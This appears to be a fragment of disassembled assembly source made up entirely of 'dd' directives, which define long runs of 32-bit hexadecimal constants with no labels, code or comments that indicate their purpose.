		dd 1D862137h, 0EEC2788Dh, 0BC569330h, 7E27329Dh, 32956EADh
		dd 0B6E654FEh, 96EE9E02h, 0A9709BDEh, 1318D79Ah, 0B06B5749h
		dd 5F1C9D79h, 779ECD59h, 0F66AF0AFh, 0A9D177DCh, 15FD5CAh
		dd 83E41063h, 0D30D21BFh, 5FB2DCCDh, 0A86424CCh, 6E4E49B8h
		dd 0B388EA38h, 0E9932F77h, 8B6ABFD8h, 7E393590h, 53A6E15Dh
		dd 0B4023B8Fh, 33BD8AE0h, 65B70F70h, 92FD849Eh,	0AF979656h
		dd 0C15A4D93h, 0B1AC108h, 0DD35F6F4h, 36BB8C57h, 30FF551h
		dd 7830EB0Eh, 9618DAC0h, 61127246h, 8408C891h, 1BDCE53Eh
		dd 0A4C1DC75h, 5D9222D9h, 0FA1646EAh, 0B158300Eh, 80080B5h
		dd 0E11C61F2h, 75A8DA98h, 2CF7C0F2h, 0F54769CAh, 47A29D3Ch
		dd 0D45FFE90h, 2AAD289Fh, 314D545h, 0BAEFC161h,	0F8DA9B6Bh
		dd 0AB164EE9h, 7F6893AAh, 309CA420h, 0A039183Dh, 0F6D127FAh
		dd 0FE38120Fh, 3F0CAC06h, 0B98CE054h, 24D60E0Ah, 95ED4D50h
		dd 0F2DC7366h, 0C4E937ABh, 5BCA049Ah, 41903126h, 29245F3Eh
		dd 0B4EA7790h, 2E62885h, 3F11EEh, 4F1CBAEh, 0EB98C41Ah
		dd 0AD947A03h, 0D87C13CEh, 0E309CC08h, 1A6A2B1Fh, 490902DBh
		dd 0EED611D6h, 0EB09A889h, 0A716F97h, 1D676153h, 0B037E9BBh
		dd 0C5A9BD67h, 72CEB306h, 16A1A6E9h, 731030D8h,	386C147Bh
		dd 46F2B917h, 99908E3Bh, 8792BB46h, 0AE498E87h,	37EC7B1Eh
		dd 62371B4Ah, 107832A7h, 9C8366DAh, 32821B9Bh, 70637395h
		dd 9D4AB2DAh, 0AEDACEDCh, 754514A5h, 5342E7CDh,	0FD6AFB73h
		dd 0BF23B0E7h, 0E52B922h, 0D397049Bh, 0D322A5A0h, 9BFA079Bh
		dd 87AFE3B1h, 1191EF78h, 0F5EEA4F9h, 72A54B8Ch,	0DDB49ACEh
		dd 0CBE41E7Fh, 4A59B33h, 0B560B4EEh, 106EFE1Fh,	7797392Ch
		dd 0BECF67E4h, 3759754h, 6EFF9DC0h, 21F490DEh, 6BD1969Bh
		dd 78F7F342h, 6846E161h, 0E3979567h, 0D78D0BB0h, 2D9BB642h
		dd 0DA2442FAh, 83243F8h, 0FBAA700Bh, 0FD0F5A3Bh, 0F7F07D6Eh
		dd 4672F37Ah, 0E33CD41Bh, 59B2CD31h, 5FD52839h,	0DE232E53h
		dd 6D5D6366h, 50AD2D08h, 141AF1Dh, 0C866716Fh, 4B2EEDD0h
		dd 99DFFE84h, 0D124F4F0h, 2E9457C0h, 0F2F6E573h, 7DD0B83Ah
		dd 0A272ACC8h, 4A8F51C0h
		dd 0EB547F56h, 2C351CCDh, 0B089D78Ah, 1DB12EB7h, 1E1F3735h
		dd 3C309D40h, 0B8912B33h, 0FBCEC718h, 0F27DBD57h, 0C50D91EDh
		dd 0F5D852EBh, 301051B7h, 0E461621Eh, 68102DD4h, 7011E2F8h
		dd 0BCCB3693h, 15D887EFh, 0E27576EAh, 71DFDDDAh, 68D29FBEh
		dd 693A3259h, 15FBCCA0h, 0C391DF33h, 6C35CBDDh,	24107F2Ah
		dd 0EABB7C8h, 0C499B55h, 0E81FCA52h, 82E5D1A4h,	3AADDD74h
		dd 79232489h, 0ECB154AAh, 477150ACh, 0A7C2D59h,	0A72C193Bh
		dd 0E2F85DDDh, 8DEC52A9h, 8BCFA6A4h, 7D3BED44h,	87350407h
		dd 91E9DE5Ch, 1EF01589h, 268DE719h, 0AE31871Dh,	0F5A65CBCh
		dd 595F7874h, 0C7184846h, 68B91DFEh, 0F6299C4Ch, 2DC9C1EAh
		dd 6A184BDCh, 0D8DD49DDh, 2EA40A63h, 0EFF0CD63h, 4CF68E1h
		dd 2EEDE32Fh, 3C3762BCh, 4402C15Eh, 0A2FC93C7h,	173AA1B7h
		dd 0EF8F6E3Ah, 142C5C71h, 5491C7EBh, 483FBC32h,	0BDEE1201h
		dd 4D2B8592h, 81B1053Fh, 0CACC37FAh, 0F10BED3Bh, 0F09D419Dh
		dd 3614110h, 8352521Eh,	605D18E0h, 8EC81701h, 0DEC25964h
		dd 57DDE7B2h, 560F9CFBh, 4257BA95h, 20B9C835h, 0F0E1EE7Eh
		dd 14BD5BF7h, 0BA45C94Ch, 0EE4283BAh, 0EFD8E036h, 4CF7751Dh
		dd 0E8400462h, 30219DACh, 3DAD8BDBh, 8BE60BF2h,	65D8E07Dh
		dd 1404D997h, 5A1B7957h, 5E9B8063h, 18A5ABEBh, 75F6BADCh
		dd 742E7D90h, 3169C896h, 4200238Ah, 0CD98E1FFh,	18454BCDh
		dd 0BAAC9AD8h, 2730114h, 2945B17Ch, 0E3C31729h,	83A031C1h
		dd 38CE39DDh, 93C4417Ch, 0FFE1EC01h, 72333503h,	0AE29792Ch
		dd 90A608BBh, 9811AF8Ah, 0FC8CC2D5h, 1E032CC6h,	0DAD1C65Dh
		dd 5CDAA16Fh, 0F6A0CF4Ch, 8DAA8873h, 0A8952DBAh, 0A1347209h
		dd 5254D1EDh, 0ED5B073Ah, 0C9A53B13h, 9631A16Ah, 3B5FF53Ah
		dd 0DA856258h, 0EC1A3E5Ch, 9278B344h, 9FC42465h, 9D34B42Fh
		dd 7A0828B5h, 8B8DEE28h, 79146F93h, 0EE1BA86Fh,	0E6DCC487h
		dd 89CA5207h, 0F0ED1AB3h, 53CAC886h, 0E5544E9Dh, 0EE6535F8h
		dd 7462CDC8h, 0EF4036Fh, 0D7E4F8D7h, 7F36BDB8h,	1993A042h
		dd 0C2051F8Fh, 0CA54E44Eh, 0A62F54A3h, 0AE82FCCFh, 0E99DE17Dh
		dd 0B41A942Ch, 64D5C689h, 8D05B304h, 8815A101h,	0D6D7E2E5h
		dd 42C57857h, 2DA5E694h, 54F1A66Ch, 1C82E287h, 3D906EC0h
		dd 667140A3h, 0BF633588h, 0E0340604h, 8DC7875h,	6095C8A6h
		dd 210DC64h, 0D39AC086h, 0A7B065D4h, 279453B4h,	0A1310E29h
		dd 0F51B07C2h, 9EFF33F4h, 9B284A66h, 799B6337h,	705C6416h
		dd 20F3C886h, 0B45AA7ACh, 8BF18A7h, 1A40F731h, 3C4EA197h
		dd 8C18F2B4h, 0FE6578FAh, 0ADC84D9Bh, 907FBC60h, 0B3A37348h
		dd 0C4BB6BE6h, 0A1185DBBh, 6057971Dh, 654EBFCEh, 9E1748A3h
		dd 61A71427h, 8E10DDF5h, 231862CBh, 6BFFDE4Eh, 4803D856h
		dd 0A4165617h, 33EFAADAh, 4DDF08C5h, 0DBEBC3A7h, 5882CAB3h
		dd 0F4C53897h, 3BDCF70Dh, 0E0A73EB8h, 7DB66EA6h, 2E719751h
		dd 4C6AB9D5h, 797F9051h, 63836419h, 0B712AA50h,	6560B3E6h
		dd 7BD5293Fh, 558B7D78h, 53D5708Bh, 6D564344h, 0D6E13A6h
		dd 917FE3A3h, 2FC2459h,	9E42A2FAh, 0FE4DEEB6h, 0B5A3FEE9h
		dd 70AC8512h, 0DBB646AAh, 39A46CF3h, 0FB67B3B6h, 0D14C10F8h
		dd 95924940h, 728A0045h, 0A8173DBBh, 71F08DDBh,	7B1DA84Dh
		dd 224E95D8h, 6863DF0h,	65F872B6h, 63E5B471h, 0AE2ABDB0h
		dd 99135461h, 7681B916h, 5EE33E0Dh, 620E8A13h, 0C8A29248h
		dd 4B04E806h, 0B2786AB6h, 0E441BDAEh, 0BAE0D30Eh, 433EBA7Bh
		dd 3DAD2710h, 6A864A03h, 0F395612Fh, 0A12255F8h, 1DD61BA7h
		dd 280B49B9h, 1664172Eh, 6A01A62Fh, 0BA7FFB1Eh,	56C4E1BEh
		dd 0A1076BB9h, 1A4D907Bh, 0A615B5A4h, 5C3B20Ah,	36EA34Ch
		dd 45D53706h, 48DD07FFh, 0DFCACF46h, 8C643411h,	0A4E6A1EEh
		dd 0DCF1E31Ch, 4A79D784h, 9BA014E3h, 0C4D1F928h, 1F680A50h
		dd 4528055Ah, 0D66BEF87h, 0F0F03524h, 16B345DBh, 0B6B15CE3h
		dd 0B1208270h, 1EBD55A6h, 0F80A3136h, 55D8FDBBh, 0C1F9240Ch
		dd 0A9C15630h, 0CA6EAA0Ah, 31AECC4Dh, 0E2618E67h, 8A3CE066h
		dd 786E96A2h, 0C325D3CDh, 76162FAAh, 9CF918F1h,	14900A29h
		dd 0FB9D8E07h, 9E723587h, 0A61AF2A6h, 7DD879Fh,	0B53CB103h
		dd 5A22D015h, 88E44143h, 0ABBF7E19h, 0EECBBEF9h, 0F95D95B8h
		dd 0AE0DB431h, 5EDA1BC8h, 0A51DFB11h, 0B702E0E4h, 7567216Bh
		dd 8755633Eh, 0A3F9E823h, 411C70DEh, 0DC45FDC1h, 448F9A89h
		dd 0F624568h, 0BC5B0136h, 882DA2F1h, 1A7CCFF7h,	15E16D53h
		dd 0BC6078BBh, 1ED2FE39h, 40FCB003h, 8319A290h,	1DC3AC47h
		dd 0E12DBD89h, 65F16E61h, 9FE2DEBBh, 81A37762h,	5A4B136Dh
		dd 50577E2h, 0D3AEB539h, 5CAC6974h, 0DD79755Ch,	6E4E9E6Bh
		dd 0B3FCE6E1h, 0BC64630Ch, 45C739FBh, 25AA1780h, 0C06BD7CBh
		dd 504E1DA0h, 0DA6C63FDh, 1056129Eh, 0BE9F5FFh,	0B1C31B0Dh
		dd 7494537Fh, 616DDCh, 0A068308Dh, 831A8395h, 11253E41h
		dd 0B520F9F1h, 80371F2Eh, 0F8E1188h, 0A381535Fh, 0D0D12C5Dh
		dd 50389F77h, 8A9B7008h, 0FE880175h, 2EB74C5Dh,	9407EA18h
		dd 50B53B9Dh, 80734CA2h, 4C28B494h, 802EF554h, 0C1774245h
		dd 350DF8D4h, 1F19A19Ch, 8C344CCBh, 37A104B6h, 404ED1F2h
		dd 56E3EB6Bh, 5C44E28Ah, 6C87F58Ah, 74307997h, 0EC8AB722h
		dd 4117A555h, 42C39C52h, 941B20D9h, 0F33FAE00h,	663A498h
		dd 0F017CA58h, 0A75B890Ch, 0D0CEED3Ch, 0F5A4BD62h, 6235DC15h
		dd 0A425AA2Dh, 0D8A5C4B9h, 96BFA522h, 18F4CC04h, 9305FAB4h
		dd 8AE2F5D2h, 0E4CC0F4Fh, 2CA98C74h, 95C73492h,	0C4F54B87h
		dd 1D79876Ah, 9B2D5DE0h, 6201F14Ah, 0D6E676A3h,	0F13F474Eh
		dd 82BEA18h, 0C79C651Bh, 92137E0Ah, 5410EEA7h, 0AC76026Eh
		dd 85462DE6h, 92F33C2h,	0BEB0F03Eh, 5A9841FCh, 4F02140Dh
		dd 2B90268Bh, 706B4DAEh, 210CAEB2h, 2EAA93A5h, 49A97Fh
		dd 15CB9F4Ah, 8FEDC3BFh, 0F391FC8Bh, 0D64E73D6h, 0B0AEA9Ch
		dd 3A6C2761h, 0EA1C147Dh, 66BE5901h, 79665541h,	55AC8BCCh
		dd 335562E9h, 8E7214CAh, 0A88EFFFCh, 0E4B4A968h, 0E3533414h
		dd 0C34EDEE9h, 81214F69h, 0DFD87B96h, 42CB3365h, 0A0F56688h
		dd 823FE667h, 34362130h, 468EDC2h, 7E410812h, 9F2AAB0Bh
		dd 0B5451904h, 31DDF0B9h, 669FCF7Fh, 853E4941h,	89A001A7h
		dd 970D0C60h, 0BB821934h, 154A8C55h, 0AF925917h, 0B0E09E0Ch
		dd 68A6FD3Eh, 0DE929F55h, 130592EBh, 9834886Ah,	0E0B4F0E8h
		dd 9A9FCEC4h, 0B43A061h, 6442AA3Ah, 9C8D20BCh, 12E8CE6h
		dd 0D425F6A9h, 132D87B0h, 0F69CABFh, 16AACA56h,	15F3C2CBh
		dd 0E9863183h, 806B8498h, 2E6AD581h, 492DC4F6h,	28D296ACh
		dd 7851BA63h, 94F3EC88h, 86C814E7h, 86243C23h, 23563565h
		dd 0A40B1F7h, 4F11D15Ah, 19D2FF66h, 0E6BC257Bh,	47BE0A15h
		dd 8B86BC24h, 330956E6h, 85BBAA5Ah, 0B5B5F520h,	424E00D3h
		dd 8E8C94EDh, 5E5B6643h, 6253909Ah, 0D69BDA96h,	413ADF4Ah
		dd 90828222h, 0ED44ACEFh, 7A756E1Eh, 0B8BA8350h, 161350CFh
		dd 15E8E48Ah, 190F0289h, 0F303FB0Eh, 7C2F2B50h,	3F3BE776h
		dd 0EE8885AEh, 931D31F5h, 0DF686468h, 88BCF144h, 0B968D8FFh
		dd 0E2479AE3h, 2E9E3FBBh, 0D3107447h, 28CD48D0h, 4317D28Ah
		dd 0BFD49446h, 4ECA981Ch, 7963F409h, 5C10B9C3h,	20A5B14Ch
		dd 33F97665h, 63A88D8Dh
		dd 2CEEE120h, 0DD1EE2Ah, 5DE2FFDCh, 0A14B05AAh,	9478E218h
		dd 2AD4FF20h, 914EFED7h, 27AF3F5Ah, 0D3D3B320h,	8D55FF08h
		dd 556B7454h, 2AC545E5h, 9AD19370h, 840EE5B1h, 0EF75013Eh
		dd 0CA5D21F8h, 323D4455h, 2708A794h, 0BCE8EB0Eh, 0A5B00337h
		dd 7B77E4FBh, 933C340Ah, 151F2BC3h, 0D2D7453Ah,	3B1BD04Bh
		dd 102AE421h, 5706B578h, 8C1D5605h, 0A54A2837h,	0DB71AF4Ch
		dd 1E40AE16h, 0A219CE8h, 527311B6h, 0D7AE59E9h,	5CFFC46Dh
		dd 9E651F70h, 8631409Eh, 7D0C2F41h, 0BB44D01Dh,	0E39AAB21h
		dd 0E5702CFFh, 56394B10h, 0C12ADB33h, 0AECD432Ch, 4457FE2Bh
		dd 0D18A4FADh, 0C0CC8CE3h, 35C21E35h, 345B93EDh, 0A5B40AB8h
		dd 0FD963FC0h, 21165DF7h, 4704594Ah, 831E10C2h,	0F612EA01h
		dd 0BE992D53h, 8E50BDB6h, 0B541DC7h, 26CB154Bh,	0D24769CCh
		dd 3A82714Bh, 0AA28AB5Ah, 3F15F6A7h, 6414AE81h,	3F96DE30h
		dd 1002BE5Ch, 3815CCA4h, 678AB671h, 6E74D82h, 0B126C1D1h
		dd 0D9D307A2h, 4848807Ah, 0C6C7B42h, 0BE3C6C47h, 40CE0247h
		dd 5E646530h, 0AC299C5h, 0F069E00Dh, 535EAFA5h,	2A59F47Fh
		dd 6A1FCA86h, 0D03F7FC7h, 0A5A7799Ch, 0DF1ACD04h, 0B9808123h
		dd 612FC80h, 0FB9366F4h, 9C34E44Bh, 6CD8F481h, 2CE94A2Bh
		dd 0E8A41C42h, 0C9F0ABA0h, 0CD258F36h, 0EB8EC556h, 5AAF84Ah
		dd 6FE7F492h, 54CFE757h, 0BB0717FDh, 14705B87h,	7D450529h
		dd 3CD7A814h, 859BC458h, 0B0AAEA51h, 5BBBDDA9h,	466B441Fh
		dd 0FB77F874h, 5C44454Fh, 0B699AFC5h, 0B426A8C0h, 2D4A7F23h
		dd 0C4E0EE74h, 886EBCE2h, 8499863Fh, 58AD8C57h,	9DB61E81h
		dd 65228D7Bh, 0A83187A9h, 2D82B90Eh, 0BF24A515h, 0E7130112h
		dd 0BBF51E66h, 3AB69E92h, 9B7D35CDh, 9DC53FB3h,	0FA05D71Ch
		dd 0A1C413E5h, 5901B7E6h, 41DAD96Ah, 6AB35D12h,	0EED30579h
		dd 0BFE52F73h, 0BE24F389h, 0C3929434h, 0EC636F34h, 43E7049h
		dd 0D5D0F295h, 8E9C9360h, 495961EFh, 0FEDC7952h, 54521514h
		dd 0D2808070h, 0EFDA108Dh, 58B19283h, 38A66C56h, 0EED2BD8Dh
		dd 0A9C14782h, 52F716B8h, 6B8B7F3Ah, 9B775B1h, 0AE2C645Ch
		dd 13484A56h, 61172370h, 7A2584h, 85B07D84h, 0B1C15DA6h
		dd 77F2BAD9h, 460A988Ah, 89EC7660h, 913C8349h, 5447B6F7h
		dd 82C3838Ah, 0E57A7883h, 0CD71EDFAh, 1B238F50h, 99E135A0h
		dd 0EDC4022Ah, 0EFF05BCEh, 8934903Fh, 83203CA7h, 397FD47Ah
		dd 0E8FC387Fh, 0B519AE86h, 0CFC5C6EDh, 508C42DFh, 0B5B14672h
		dd 0AB03261Ch, 5981B074h, 7EC91E2Ah, 0C395656h,	8BE022E6h
		dd 8251CAB6h, 0C1BBD3B4h, 3CD669EBh, 2680D57Eh,	16315204h
		dd 97339D08h, 9066E041h, 4E31820Ah, 0A9745D5Eh,	67430B2Ah
		dd 1E55CD19h, 64795470h, 9F387CB9h, 0F9EF04CEh,	0C974890Bh
		dd 0F5DA35F7h, 0E213F160h, 2558012h, 0E69C0960h, 78E2756Ah
		dd 9494916Ah, 0B11D695Ch, 2D7BACE0h, 0AED5F43Fh, 2160A1BBh
		dd 9E5CE49Eh, 0B91B3484h, 0A1B7E450h, 81D08A7Bh, 6A0481A9h
		dd 35192CBEh, 1AF1CB22h, 7B4C15E9h, 0A3D2D14Ch,	62B3DF06h
		dd 0D86A51E7h, 81257844h, 611E2F4Ah, 2193007Dh,	3330EAF6h
		dd 2CDCDB59h, 0E4C90F35h, 2FD2955Bh, 0ACCBC765h, 0D041EED4h
		dd 5ADFD559h, 5D82765Fh, 2B8DBB27h, 0C65CA2F8h,	63314C99h
		dd 3BA69ACFh, 9B8E96B6h, 78856B8Bh, 310086Ah, 4E540190h
		dd 1C254846h, 30CA2372h, 71B78FFCh, 2D0D2850h, 0E6C4F4D2h
		dd 948C5506h, 16ACC8D1h, 33D2E49Bh, 14454AF2h, 0AB77ECCEh
		dd 755E6C2Fh, 0CD459506h, 76EBBB2Ah, 0AD30966h,	0B295566Fh
		dd 7B015428h, 67AC41Dh,	0CFDB36BAh, 0CA748B42h,	814545E9h
		dd 0B2D749C7h, 8DAE1A7Eh, 0E4352788h, 0FA574570h, 72F1E225h
		dd 3D54BEF5h, 0FE77512Bh, 5B53D210h, 0E55A91DDh, 4B6ED128h
		dd 76C52620h, 0A4E19BF3h, 0C612EA17h, 6625148Eh, 16DD714Dh
		dd 9DE59F60h, 18A1DF04h, 3BB3639Dh, 0F6D2F608h,	5FD2743Ah
		dd 4F4E2BE6h, 4A48E209h, 5D0614E7h, 9D6CA88Bh, 448477B4h
		dd 0CF56F70Bh, 0F19F1468h, 0BD6583B6h, 3605548Dh, 5F262AF3h
		dd 0B35A29D9h, 0EFA5F7CEh, 11CC7CB2h, 0AFFA9BCAh, 8A3EBEC2h
		dd 0D4F7186Bh, 89FCBF8Bh, 82A34556h, 0FC7107B0h, 0FBA15628h
		dd 92BD9875h, 0D6AF9A92h, 0C427013Ch, 44238B7Fh, 5D5D14A8h
		dd 8839CD75h, 4472168Eh, 72CA3FFAh, 3CBC6DCAh, 8C3922E5h
		dd 51563F45h, 9CC41F17h, 8F125F92h, 0CCC13A2Fh,	6F602499h
		dd 1ED1D9E9h, 8C7DD6DCh, 7E99D60Fh, 0CC81C55Ah,	0C31360E9h
		dd 3D7AB6A3h, 0B8EB19BAh, 27160349h, 0C53A1FBDh, 0E292EECCh
		dd 0E27C7FE7h, 45CD0076h, 0A05432C2h, 41B5F2B8h, 0A9D45B3Dh
		dd 84C016AFh, 68EF285Fh, 0E59C96F4h, 0E2367FCCh, 2FD76E29h
		dd 0C658900Dh, 225419F9h, 5A2F3A00h, 8B59FD70h,	831FF6D8h
		dd 445ED42Bh, 90D59FDAh, 0FDCE95E9h, 0ED806302h, 263E4436h
		dd 0AEEE4271h, 0A2F2E7Ch, 0FA869D9Fh, 53365FC0h, 95BC18D5h
		dd 9DAC5FC2h, 84EDDB52h, 0DF25AAh, 5FAE71D3h, 0EC0A3373h
		dd 0D8AA605Eh, 33BBEBE8h, 0E339AE81h, 7EF08355h, 104CEAAh
		dd 6F52928Ch, 931796Fh,	89D54708h, 3FD97705h, 0CDDAC638h
		dd 1C550939h, 125B161Ah, 0D73C6EC2h, 2DD53B81h,	4F97FE56h
		dd 0D094C471h, 1A1FB12Dh, 56153BAh, 3ECA01EEh, 0BE35DB04h
		dd 0D6E88B40h, 5798ABB9h, 6EC6B4E6h, 0B6E59E10h, 0ABAAD616h
		dd 64B5C618h, 306CC74Bh, 610919DFh, 925F8D1Fh, 0CF4D0B6Fh
		dd 938087A4h, 46C1F763h, 0B1B1848h, 0E298FD79h,	7015CCCFh
		dd 81319297h, 0F244AE1h, 0B0AF330Ah, 0C436DA91h, 0D0E88729h
		dd 5B57B5EBh, 0EAA5510Dh, 5F965CC1h, 307F692Dh,	0F1C0EDC3h
		dd 54DE0890h, 3504375h,	0F446341Ah, 7F9CAE06h, 0DD2A4D3Bh
		dd 8525714Dh, 0E8DB5952h, 0C29252ABh, 0E92A5923h, 726D5E2Dh
		dd 1F497E1Eh, 0C53F5BDFh, 572BC0F5h, 0C82F6B0Ch, 40129267h
		dd 32AD7DFEh, 0C868DB4Ch, 0C8A7AC53h, 2F8BB03Ah, 157FE47Ah
		dd 0C33954CFh, 9510A116h, 4DE79370h, 0A05ACC5Ah, 555E3FA1h
		dd 0C9D4EEh, 0B4E96207h, 0D2E49431h, 0B15C2B65h, 8ED39171h
		dd 4BC7D210h, 0DB96C440h, 500752E8h, 0FF2EE7D1h, 0A5AEC24Ch
		dd 4B36516Dh, 27D8355Ah, 48598B17h, 0BF7A173Dh,	0EFF673E0h
		dd 0D73788C5h, 8BABB70Ch, 3A4025C4h, 0CB33199Dh, 0D1D30776h
		dd 0D75318B5h, 0E1610FEAh, 89518B66h, 0B17D3D85h, 4031C9E9h
		dd 0B8FAA5Ah, 3D475D41h, 12875969h, 0E4387833h,	0BFFDBE5Fh
		dd 0E81D0A0Bh, 0A0DDE1F0h, 0E35BE27Bh, 84548005h, 23413092h
		dd 35121582h, 7578A771h, 0F3DC35F9h, 272965A2h,	6F556BAEh
		dd 4CFFD206h, 0D7A2BB82h, 35FFC866h, 0AAD59900h, 0EE13AFCCh
		dd 55354506h, 763E473Bh, 0B54EE1DAh, 51ACF439h,	0C0B04797h
		dd 687F3CCh, 170DC0E3h,	6D4520ACh, 301CCBA6h, 0C7CABC7Fh
		dd 1A526D22h, 0A580392h, 30201DC5h, 3D853E78h, 94684D94h
		dd 0CA201334h, 0FF6FE8Bh, 1B5266A6h, 23E82C69h,	3D6895h
		dd 84DE3425h, 602E1796h, 0A4765721h, 0A86CE4F6h, 2309A202h
		dd 7DA5555Eh, 71D18A4Fh, 0FADBC63Ah, 986B6213h,	8B2FB077h
		dd 4325887Ch, 0BCDA8D07h, 7C532300h, 0B6C3D99Dh, 0E5763E8Eh
		dd 0C870866Dh, 0B8E2619Dh, 128EAAF6h, 84ED411Eh, 0A12683FFh
		dd 0FE1FCBECh, 249A25C6h, 38B18A2Ch, 0F0E916Bh,	0BAE9DB2h
		dd 6D89AD1Eh, 9D3C90E9h
		dd 0EE4C173Bh, 218938E7h, 0D53791C1h, 0FF37BB2Dh, 2A594D8Ah
		dd 58B9117Eh, 405C7DB1h, 4516EEC3h, 0D1E8227Eh,	1675E6DDh
		dd 73E3C5CEh, 5EBE8354h, 81043F43h, 803BF079h, 11E425B3h
		dd 71E4BB23h, 8A01114Ah, 0E96DD56Fh, 0A176FEB2h, 5D226D2Dh
		dd 8F1A06BAh, 6140241Dh, 4588EF5h, 1A8714AFh, 2A4BA2B5h
		dd 0DB24355Eh, 254442D9h, 0CB6E6CAEh, 0E561FF1Ch, 94D688AFh
		dd 1B963710h, 0E58D5652h, 0A4BB5338h, 3432369Fh, 1EE9AB3Dh
		dd 89FBAFC3h, 0E4BAF4B8h, 0C90DF0ABh, 9E0533EBh, 7F29DA6Bh
		dd 591C360Dh, 35F42F7Fh, 0DBAF3B6Eh, 9771B780h,	3BE33FCAh
		dd 4B8844EEh, 2424E6ECh, 4B5929A5h, 309AE5AFh, 1703F020h
		dd 4BD9A3D2h, 62F3F4A2h, 807055A7h, 9A3DA458h, 14875E47h
		dd 0F8D7E601h, 384FB2ECh, 36B4AD31h, 21351847h,	3403D5FFh
		dd 0DC472F16h, 9B328F47h, 513D18D1h, 16FC14A6h,	176F8409h
		dd 92E8D4C3h, 470C8552h, 0FD8C518Bh, 77C349FCh,	1C12114Fh
		dd 0ACD3606Eh, 0B838D1EDh, 2B98494Ah, 725422F9h, 0A5CE07EEh
		dd 9192490h, 4B0D0DD9h,	4558124Bh, 0E42EEB78h, 942623ABh
		dd 0B1118D91h, 88A3BBBAh, 3EB30A57h, 5660CB21h,	35FDDA86h
		dd 0FBB1DF7Ah, 651433BFh, 0D4702DD3h, 65B4D601h, 0F610FB80h
		dd 0E8EEFABCh, 51ECEF34h, 0C6415077h, 7A7E5B33h, 97A06168h
		dd 0E10C3C6h, 18875AB7h, 73057FBBh, 9F9D3369h, 0EA864303h
		dd 952CBDEEh, 5819E7D5h, 1E8BB372h, 1351335Dh, 0E81BC85Dh
		dd 0FA9C571Ch, 501C9685h, 54E87778h, 4992A170h,	425A0EA3h
		dd 0AC390396h, 0EC9864F3h, 98A60E0Ah, 55B9F0C4h, 0FC5A3A3Bh
		dd 0CE898D39h, 0CF7DEADFh, 0FFB0439h, 7BC3DA53h, 2DECBBB6h
		dd 0AAE71E7Eh, 0B1A1953Bh, 22C0423Fh, 3FC1D5Ah,	677C6C38h
		dd 8F584212h, 908B43C8h, 566BB595h, 0B79D3BE7h,	9ED4921Bh
		dd 2A6DF616h, 6CCCCEAh,	0B809EE9Eh, 5BBFD86Eh, 0C93C53F2h
		dd 37FB3127h, 6B9B495Fh, 0B2FF820Dh, 8CE7E778h,	0C835320Eh
		dd 0F68E958Eh, 0BF6BD42Fh, 14F1590h, 3439915Ah,	2FB43AF5h
		dd 3212D264h, 33BB5016h, 0DB15BB6Dh, 0AD33B687h, 0D8934428h
		dd 69048F2Bh, 76FA2D85h, 3BA8877Fh, 0D21EEF30h,	0F47991AAh
		dd 3C87AD56h, 283EC8DCh, 81FA2E99h, 8848011Ah, 0ED22DAD3h
		dd 804B76B6h, 0C04CD965h, 1E0590F3h, 137CBB07h,	70488E46h
		dd 319F32C5h, 434AC3D7h, 421A7B5Bh, 12C169B0h, 0AB74BEE0h
		dd 0E3E579ECh, 0AFFD0B27h, 8CE21AEDh, 0EC5B6E00h, 0BF708EADh
		dd 0FE799CAFh, 4BF5BC6Dh, 3A3AB01Bh, 804FEF3Bh,	0A01FA19Ch
		dd 0D30A1715h, 4A35894Fh, 724FB595h, 9B3CE694h,	9B6F74C2h
		dd 0AC533CB7h, 182F8071h, 0E3AB980Bh, 0F1B62236h, 7C5A7B25h
		dd 40FC2BA5h, 6E7FC2F8h, 0CE473BF9h, 512DED3Fh,	0D50F503Bh
		dd 3C9C7A6h, 0DAFB9B5Bh, 0D20CAA45h, 0D1370371h, 0BF41A817h
		dd 0E85C5AE1h, 8123275Eh, 0A21DE17h, 0F648E5DEh, 482973D5h
		dd 8A4BCCF0h, 58379707h, 51BC5631h, 845B3AC6h, 9DFCDA2Eh
		dd 0D620F695h, 0AB41149Bh, 29420B6Ah, 0EFC38736h, 29D244Ah
		dd 0A57FF859h, 0D77CF100h, 0B002BB5Bh, 0D51B6934h, 8789257Dh
		dd 0A45E2DBFh, 2FFE0B4h, 4D45E9BDh, 0A9C2F30Eh,	7F8A4C7Ah
		dd 0ECE4E648h, 3497A156h, 4052AE7Ah, 0C55DFF7Ah, 0CF822644h
		dd 2858766Fh, 91F26DB9h, 0BC6EAF08h, 4A8232BEh,	0CFF279ADh
		dd 0CBAEB1F9h, 0E498EF94h, 69E5DB29h, 83483E10h, 0FA961958h
		dd 0FE468C8Fh, 0E4BF64E1h, 0C808C0AAh, 18F48D21h, 11CF133Ch
		dd 0E08B107Ch, 97B5E602h, 0DC5BADC1h, 7CF5AA7Dh, 60F7B99Fh
		dd 0A29102ACh, 7EE07144h, 7B7F7D82h, 0A540A6C8h, 0D0D7C10Bh
		dd 0E28548AEh, 8AE06E43h, 92C19357h, 14F1163Ch,	9FC0F86Ah
		dd 7B0A549Eh, 6DDE3E7Ch, 0B73B402Fh, 0FB430726h, 819C6B7Dh
		dd 9DB1E751h, 0F632B965h, 0E5501FB2h, 546ABD94h, 5F89FA09h
		dd 0C4E6BAFBh, 6CD0EEFDh, 0CBE21FB4h, 644720F3h, 5A9122C9h
		dd 52C6DD0Ah, 32F053FAh, 520E81C6h, 0D521251Eh,	747A60C4h
		dd 265D3F2Bh, 71C9A31Ch, 4EB9B41Fh, 973365CAh, 0F4533770h
		dd 0F4A608D8h, 0BE98A41Ch, 42EB9CABh, 0BA75E264h, 37FE977Ah
		dd 0C3D15BA2h, 0A7A6D006h, 0EA8B03Ch, 0A88EA170h, 264E566Ch
		dd 395C912Dh, 0C5FEA685h, 6FA4A004h, 0E2873C4Fh, 797A802Ch
		dd 266F5FB1h, 0B789A824h, 239355F9h, 0EAC1D1C1h, 0EC8F3595h
		dd 13E231A9h, 7D26744Dh, 0AF660851h, 9F2ACB3Ch,	0A11B62CDh
		dd 777EA3Ah, 4DD00B22h,	0D8BDCF25h, 0E275DCBFh,	0CF2B0480h
		dd 2D966F25h, 4139FEADh, 0CA2701B3h, 5160D8Bh, 0FCDC4290h
		dd 41E491DCh, 7184C7EEh, 86EF74F4h, 0AF6BB0B6h,	93E1D950h
		dd 0D772D6F2h, 92F90A2Ah, 635EF5Ch, 0F6D16EC7h,	6B2B387h
		dd 0FC28B039h, 2F06D672h, 5C8844CBh, 0E0936A9Eh, 3F7A103Ch
		dd 9BBC1A9Bh, 0E078E489h, 0F9617878h, 35D09A92h, 0A6493194h
		dd 46E36D34h, 635A2F2Eh, 504A913Eh, 4D3F2037h, 60F8B3B9h
